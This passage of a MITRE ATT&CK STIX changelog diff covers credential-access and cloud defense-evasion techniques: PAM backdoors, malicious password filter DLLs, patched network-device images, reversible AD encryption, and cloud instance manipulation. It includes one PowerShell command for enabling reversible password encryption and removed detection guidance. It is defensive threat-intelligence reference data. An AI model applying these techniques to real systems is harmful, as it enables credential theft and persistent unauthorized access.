"https://technet.microsoft.com/en-us/library/dn487457.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Process: Process Access\", \"File: File Modification\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.324000+00:00\", \"old_value\": \"2025-04-15 22:21:45.658000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\\n\\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\\n-\\n-Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). \"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1025: Privileged Process Integrity", + "M1026: Privileged Account Management", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0022: File (File Modification)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0271: Detect Domain Controller Authentication Process Modification (Skeleton Key)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-19 17:58:04.155000+00:00", + "modified": "2025-10-24 17:49:38.719000+00:00", + "name": "Network Device Authentication", + "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1556/004", + "external_id": "T1556.004" + }, + { + "source_name": "Mandiant - Synful Knock", + "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved November 17, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/synful-knock-acis/" + }, + { + "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.", + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7" + }, + { + "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.", + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.719000+00:00\", \"old_value\": \"2025-04-15 21:40:12.055000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\\n\\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\\n-\\n-Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0272: Detect Modification of Network Device Authentication via Patched System Images" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 19:05:45.829000+00:00", + "modified": "2025-10-24 17:48:39.067000+00:00", + "name": "Password Filter DLL", + "description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1556/002", + "external_id": "T1556.002" + }, + { + "source_name": "Clymb3r Function Hook Passwords Sept 2013", + "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", + "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/" + }, + { + "source_name": "Carnal Ownage Password Filters Sept 2013", + "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"File: File Creation\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.067000+00:00\", \"old_value\": \"2025-04-15 22:56:08.743000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Notification Packages) and correlate then investigate the DLL files these files reference.\\n\\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Notification Packages) and correlate then investigate the DLL files these files reference.\\n-\\n-Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0011: Module (Module Load)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0472: Detect Malicious Password Filter DLL Registration" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-26 04:01:09.648000+00:00", + "modified": "2025-10-24 17:48:21.118000+00:00", + "name": "Pluggable Authentication Modules", + "description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1556/003", + "external_id": "T1556.003" + }, + { + "source_name": "Apple PAM", + "description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.", + "url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt" + }, + { + "source_name": "Man Pam_Unix", + "description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.", + "url": "https://linux.die.net/man/8/pam_unix" + }, + { + "source_name": "PAM Creds", + "description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20240303094335/https://x-c3ll.github.io/posts/PAM-backdoor-DNS/" + }, + { + "source_name": "Red Hat PAM", + "description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.", + "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules" + }, + { + "source_name": "PAM Backdoor", + "description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.", + "url": "https://github.com/zephrax/linux-pam-backdoor" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Scott Knight, @sdotknight, VMware Carbon Black", + "George Allen, VMware Carbon Black" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.118000+00:00\", \"old_value\": \"2025-04-15 22:57:26.573000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\\n\\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\\n-\\n-Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Modification)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0454: Detect Malicious Modification of Pluggable Authentication Modules (PAM)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-01-13 20:02:28.349000+00:00", + "modified": "2025-10-24 17:49:27.587000+00:00", + "name": "Reversible Encryption", + "description": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1556/005", + "external_id": "T1556.005" + }, + { + "source_name": "dump_pwd_dcsync", + "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.", + "url": "https://adsecurity.org/?p=2053" + }, + { + "source_name": "store_pwd_rev_enc", + "description": "Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption" + }, + { + "source_name": "how_pwd_rev_enc_1", + "description": "Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021.", + "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html" + }, + { + "source_name": "how_pwd_rev_enc_2", + "description": "Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021.", + "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Modification\", \"Command: Command Execution\", \"User Account: User Account Metadata\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.587000+00:00\", \"old_value\": \"2025-04-15 23:00:34.242000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor property changes in Group Policy: Computer Configuration\\\\Windows Settings\\\\Security Settings\\\\Account Policies\\\\Password Policy\\\\Store passwords using reversible encryption. By default, the property should be set to Disabled.\\n\\nMonitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations. \\n\\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor property changes in Group Policy: Computer Configuration\\\\Windows Settings\\\\Security Settings\\\\Account Policies\\\\Password Policy\\\\Store passwords using reversible encryption. By default, the property should be set to Disabled.\\n-\\n-Monitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations. \\n-\\n-Monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Metadata)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)", + "DS0026: Active Directory (Active Directory Object Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0589: Detect Modification of Authentication Process via Reversible Encryption" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30 18:03:05.864000+00:00", + "modified": "2025-10-24 17:48:26.284000+00:00", + "name": "Modify Cloud Compute Infrastructure", + "description": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1578", + "external_id": "T1578" + }, + { + "source_name": "Mandiant M-Trends 2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Instance: Instance Metadata\", \"Instance: Instance Stop\", \"Snapshot: Snapshot Creation\", \"Volume: Volume Modification\", \"Instance: Instance Modification\", \"Instance: Instance Creation\", \"Volume: Volume Metadata\", \"Instance: Instance Start\", \"Cloud Service: Cloud Service Metadata\", \"Volume: Volume Creation\", \"Snapshot: Snapshot Modification\", \"Snapshot: Snapshot Metadata\", \"Volume: Volume Deletion\", \"Snapshot: Snapshot Deletion\", \"Instance: Instance Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.284000+00:00\", \"old_value\": \"2025-04-15 22:49:33.134000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0020: Snapshot (Snapshot Creation)", + "DS0020: Snapshot (Snapshot Deletion)", + "DS0020: Snapshot (Snapshot Metadata)", + "DS0020: Snapshot (Snapshot Modification)", + "DS0025: Cloud Service (Cloud Service Metadata)", + "DS0030: Instance (Instance Creation)", + "DS0030: Instance (Instance Deletion)", + "DS0030: Instance (Instance Metadata)", + "DS0030: Instance (Instance Modification)", + "DS0030: Instance (Instance Start)", + "DS0030: Instance (Instance Stop)", + "DS0034: Volume (Volume Creation)", + "DS0034: Volume (Volume Deletion)", + "DS0034: Volume (Volume Metadata)", + "DS0034: Volume (Volume Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0308: Detection Strategy for Modify Cloud Compute Infrastructure" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-05-14 14:45:15.978000+00:00", + "modified": "2025-10-24 17:49:24.804000+00:00", + "name": "Create Cloud Instance", + "description": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1578/002", + "external_id": "T1578.002" + }, + { + "source_name": "AWS CloudTrail Search", + "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.", + "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/" + }, + { + "source_name": "Cloud Audit Logs", + "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.", + "url": "https://cloud.google.com/logging/docs/audit#admin-activity" + }, + { + "source_name": "Mandiant M-Trends 2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf" + }, + { + "source_name": "Azure Activity Logs", + "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.", + "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Instance: Instance Creation\", \"Instance: Instance Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.804000+00:00\", \"old_value\": \"2025-04-15 22:10:54.239000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\\n\\nIn AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\\n-\\n-In AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the 